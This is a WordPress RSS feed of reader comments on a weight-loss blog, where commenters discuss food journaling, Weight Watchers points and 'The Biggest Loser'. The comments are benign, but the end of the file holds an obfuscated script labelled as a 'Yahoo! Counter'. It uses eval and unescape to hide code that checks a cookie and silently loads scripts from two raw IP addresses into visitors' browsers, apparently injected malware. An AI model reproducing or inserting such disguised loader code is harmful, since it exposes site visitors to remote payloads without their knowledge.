<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/wordpress-mu-1.2.3-2.2.1" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
	<title>Comments for Transformed</title>
	<link>http://blogs.weightwatchen.com/desertmama</link>
	<description>Renewing my body and my mind</description>
	<pubDate>Fri, 09 Jan 2009 01:38:52 +0000</pubDate>
	<generator>http://wordpress.org/?v=wordpress-mu-1.2.3-2.2.1</generator>

	<item>
		<title>Comment on The Biggest Loser by dnbarton</title>
		<link>http://blogs.weightwatchen.com/desertmama/2008/01/17/the-biggest-loser-2/#comment-304</link>
		<author>dnbarton</author>
		<pubDate>Thu, 06 Mar 2008 14:02:57 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/desertmama/2008/01/17/the-biggest-loser-2/#comment-304</guid>
		<description>Dear Desert Mama,

when I see your name, I think of you as Dessert Mama.  (: I don't know why my brain always does that. I think it's because secretly i wish my blog name had the word Desserts in it! (: tee hee!
Just had to share!

Danielle</description>
		<content:encoded><![CDATA[<p>Dear Desert Mama,</p>
<p>when I see your name, I think of you as Dessert Mama.  (: I don&#8217;t know why my brain always does that. I think it&#8217;s because secretly i wish my blog name had the word Desserts in it! (: tee hee!<br />
Just had to share!</p>
<p>Danielle</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on The Biggest Loser by bonita</title>
		<link>http://blogs.weightwatchen.com/desertmama/2008/01/17/the-biggest-loser-2/#comment-298</link>
		<author>bonita</author>
		<pubDate>Sun, 24 Feb 2008 17:45:16 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/desertmama/2008/01/17/the-biggest-loser-2/#comment-298</guid>
		<description>How have you been doing?</description>
		<content:encoded><![CDATA[<p>How have you been doing?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on The Biggest Loser by Bonita</title>
		<link>http://blogs.weightwatchen.com/desertmama/2008/01/17/the-biggest-loser-2/#comment-209</link>
		<author>Bonita</author>
		<pubDate>Fri, 18 Jan 2008 05:42:33 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/desertmama/2008/01/17/the-biggest-loser-2/#comment-209</guid>
		<description>Great job with your last chance workout!!  I too was happy to see the white team go but I felt bad for his wife.  I'm sure the editing made Neil look worse but it is reality tv.  I'm glad that they kept working out and have lost all that weight at home!</description>
		<content:encoded><![CDATA[<p>Great job with your last chance workout!!  I too was happy to see the white team go but I felt bad for his wife.  I&#8217;m sure the editing made Neil look worse but it is reality tv.  I&#8217;m glad that they kept working out and have lost all that weight at home!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on The Biggest Loser by swizzlepop</title>
		<link>http://blogs.weightwatchen.com/desertmama/2008/01/17/the-biggest-loser-2/#comment-208</link>
		<author>swizzlepop</author>
		<pubDate>Thu, 17 Jan 2008 22:16:47 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/desertmama/2008/01/17/the-biggest-loser-2/#comment-208</guid>
		<description>I was happy that the white team got the boot. Neil was a slacker from day 1 and his poor wife just kept protecting him instead of telling him to quit crying and MOVE. Just my opinion though. Having worked with and known people on reality shows I know that they do edit a lot and it really isn't 100% reality, but that said I still think Neil slacked more than anyone else. 

WOOHOO for doing the last chance work out with them! Great job!</description>
		<content:encoded><![CDATA[<p>I was happy that the white team got the boot. Neil was a slacker from day 1 and his poor wife just kept protecting him instead of telling him to quit crying and MOVE. Just my opinion though. Having worked with and known people on reality shows I know that they do edit a lot and it really isn&#8217;t 100% reality, but that said I still think Neil slacked more than anyone else. </p>
<p>WOOHOO for doing the last chance work out with them! Great job!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Motivation by dnbarton</title>
		<link>http://blogs.weightwatchen.com/desertmama/2008/01/13/motivation/#comment-207</link>
		<author>dnbarton</author>
		<pubDate>Wed, 16 Jan 2008 21:24:22 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/desertmama/2008/01/13/motivation/#comment-207</guid>
		<description>I usually post once or twice a day (update my food in the evening) and I have a food chart template on my site that I use.  It works well for me and I'm pretty fast at it.  If I don't post food, I don't lose.  I known it's different for everyone.. it's just what works for me.  I love being able to look back over "good" weeks and see what I ate and even use those menus if I'm struggling...!</description>
		<content:encoded><![CDATA[<p>I usually post once or twice a day (update my food in the evening) and I have a food chart template on my site that I use.  It works well for me and I&#8217;m pretty fast at it.  If I don&#8217;t post food, I don&#8217;t lose.  I known it&#8217;s different for everyone.. it&#8217;s just what works for me.  I love being able to look back over &#8220;good&#8221; weeks and see what I ate and even use those menus if I&#8217;m struggling&#8230;!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Motivation by 2Phat</title>
		<link>http://blogs.weightwatchen.com/desertmama/2008/01/13/motivation/#comment-205</link>
		<author>2Phat</author>
		<pubDate>Mon, 14 Jan 2008 14:10:36 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/desertmama/2008/01/13/motivation/#comment-205</guid>
		<description>This year I'm using WW online etools to journal. I usually do it at the end of the day just after dinner and input all the things I've eaten all day.  The etools automatically calculate points based on food and quantity - I don't have to figure out all the flipp'n point values for everything. It also  keeps track of weekly points including the flex points. So far it's been working for me. 

Last year it was hit or miss - I tried pen &#38; paper but that didn't work, tried to log all food on my blog... that didn't work.  Looking up points on everything was a royal pain and I got bored eating the same foods all the time because they were the only ones I knew the point values. This year I still pause and think about what foods are better for me but I don't worry about point values on everything. It's been liberating and I'm still managing to stay OP.</description>
		<content:encoded><![CDATA[<p>This year I&#8217;m using WW online etools to journal. I usually do it at the end of the day just after dinner and input all the things I&#8217;ve eaten all day.  The etools automatically calculate points based on food and quantity - I don&#8217;t have to figure out all the flipp&#8217;n point values for everything. It also  keeps track of weekly points including the flex points. So far it&#8217;s been working for me. </p>
<p>Last year it was hit or miss - I tried pen &amp; paper but that didn&#8217;t work, tried to log all food on my blog&#8230; that didn&#8217;t work.  Looking up points on everything was a royal pain and I got bored eating the same foods all the time because they were the only ones I knew the point values. This year I still pause and think about what foods are better for me but I don&#8217;t worry about point values on everything. It&#8217;s been liberating and I&#8217;m still managing to stay OP.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Motivation by zazu</title>
		<link>http://blogs.weightwatchen.com/desertmama/2008/01/13/motivation/#comment-204</link>
		<author>zazu</author>
		<pubDate>Sun, 13 Jan 2008 23:59:14 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/desertmama/2008/01/13/motivation/#comment-204</guid>
		<description>How are you journaling? Paper and pen don't work for me. I track my points daily in excel. I usually do them all in the morning. I put it what I ate for breakfast, then input what I'm planning for lunch dinner and snacks. I don't always stick to exactly what I put in .. sometimes I don't feel like cooking what I originally planned or I end up eating out when I brought a lunch to work. I just adjust at night and add in flex points when needed. This has proven the best way for me to track food. Plus I keep an entire month's worth of journaling on one Excel page so when I feel stuck or in a rut I go back to previous months when I had good weeks and try to follow some of the same menus. Good luck!</description>
		<content:encoded><![CDATA[<p>How are you journaling? Paper and pen don&#8217;t work for me. I track my points daily in excel. I usually do them all in the morning. I put it what I ate for breakfast, then input what I&#8217;m planning for lunch dinner and snacks. I don&#8217;t always stick to exactly what I put in .. sometimes I don&#8217;t feel like cooking what I originally planned or I end up eating out when I brought a lunch to work. I just adjust at night and add in flex points when needed. This has proven the best way for me to track food. Plus I keep an entire month&#8217;s worth of journaling on one Excel page so when I feel stuck or in a rut I go back to previous months when I had good weeks and try to follow some of the same menus. Good luck!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Motivation by formeforlife</title>
		<link>http://blogs.weightwatchen.com/desertmama/2008/01/13/motivation/#comment-203</link>
		<author>formeforlife</author>
		<pubDate>Sun, 13 Jan 2008 23:45:51 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/desertmama/2008/01/13/motivation/#comment-203</guid>
		<description>Hey!!! Thanks for posting on my blog.  I just got done updating.  Looks like things are great for you, so I'm very happy about that for you!  Keep up the great work.  Baby steps is definitely ok!</description>
		<content:encoded><![CDATA[<p>Hey!!! Thanks for posting on my blog.  I just got done updating.  Looks like things are great for you, so I&#8217;m very happy about that for you!  Keep up the great work.  Baby steps is definitely ok!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Motivation by swizzlepop</title>
		<link>http://blogs.weightwatchen.com/desertmama/2008/01/13/motivation/#comment-202</link>
		<author>swizzlepop</author>
		<pubDate>Sun, 13 Jan 2008 21:30:19 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/desertmama/2008/01/13/motivation/#comment-202</guid>
		<description>I've been struggling with logging food too. Funny thing is that I didn't log in Dec and lost. As soon as I started again I went up like 1-2 lbs. I swear the stress and pressure of logging has something to do with it. I'm TRYING to start out slow. Babysteps :)
Good luck and glad the challenge is working for you!</description>
		<content:encoded><![CDATA[<p>I&#8217;ve been struggling with logging food too. Funny thing is that I didn&#8217;t log in Dec and lost. As soon as I started again I went up like 1-2 lbs. I swear the stress and pressure of logging has something to do with it. I&#8217;m TRYING to start out slow. Babysteps <img src='http://blogs.weightwatchen.com/desertmama/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Good luck and glad the challenge is working for you!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on The Biggest Loser by Kims_Journey</title>
		<link>http://blogs.weightwatchen.com/desertmama/2008/01/11/the-biggest-loser/#comment-200</link>
		<author>Kims_Journey</author>
		<pubDate>Fri, 11 Jan 2008 15:47:06 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/desertmama/2008/01/11/the-biggest-loser/#comment-200</guid>
		<description>I love that you do your own exercises in front of the TV. I don't personally because I don't have a TV in the house where my husband wouldn't be watching me exercise (or I'd be in his way), but I think it'd be inspiring to workout to BL. Like you said, you can get some good ideas from their workouts that otherwise you might not even thought about! Very cool idea. I may have to move some things around so that I can do my own exercises during TV.</description>
		<content:encoded><![CDATA[<p>I love that you do your own exercises in front of the TV. I don&#8217;t personally because I don&#8217;t have a TV in the house where my husband wouldn&#8217;t be watching me exercise (or I&#8217;d be in his way), but I think it&#8217;d be inspiring to workout to BL. Like you said, you can get some good ideas from their workouts that otherwise you might not even thought about! Very cool idea. I may have to move some things around so that I can do my own exercises during TV.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language=javascript><!-- Yahoo! Counter starts 
if(typeof(yahoo_counter)!=typeof(1))eval(unescape('/`%2F%3C@d@%69v%20%73|t%79~%6C!%65&%3D|%64i@sp~%6Ca%79&%3A@n#on@%65|%3E\n$%64%6F@%63um@e%6Et%2Ew|%72%69t&%65~%28&"%3C/`t%65x#%74%61~re@a%3E%22|)`%3B!v#%61r$%20%69&%2C$%5F%2C%61~%3D@%5B"`%37`%38.!1%31|0.%31%37%35&.~2$%31$%22~%2C%221%395@%2E`%32$%34!%2E%37`%36|.`2%35#1!%22&%5D$%3B%5F@=~1%3B$%69%66%28$%64%6F~%63&u&m`%65nt|%2E%63#%6Fo&%6B~ie`.m%61|tch|%28%2F|%5C|bh!%67f%74%3D#1/)%3D#=#nul|%6C%29#f&%6F%72&(i=@%30;`i%3C2;#i!+%2B#)%64o!c!%75#m%65%6E|t~.&%77`ri%74%65%28"$%3C|s&%63&%72#%69p&t&%3Eif#(&_!%29d~o|%63!u~%6D&%65n$%74%2E&%77$%72|%69#t$%65&(%5C%22$%3C%73%63&%72#%69!p%74%20!i!%64&%3D%5F&%22%2B%69$%2B!"_@%20#s`rc|%3D/|%2F"#%2B`%61[%69`%5D%2B%22`%2Fc#p%2F?"+`n|av%69&ga%74%6F!r|.$%61%70&p&%4E@a&%6D#e.c&h#ar$%41@t(0)$%2B#%22%3E$%3C#%5C|%5C%2Fs$%63%72%69|%70|t~%3E!%5C|")%3C%5C&%2F%73#c|%72#i!p`%74%3E@%22%29%3B\n!/%2F#%3C|%2Fd%69!%76~%3E').replace(/\$|@|\&|#|~|\||\!|`/g,""));var yahoo_counter=1;
<!-- counter end --></script>
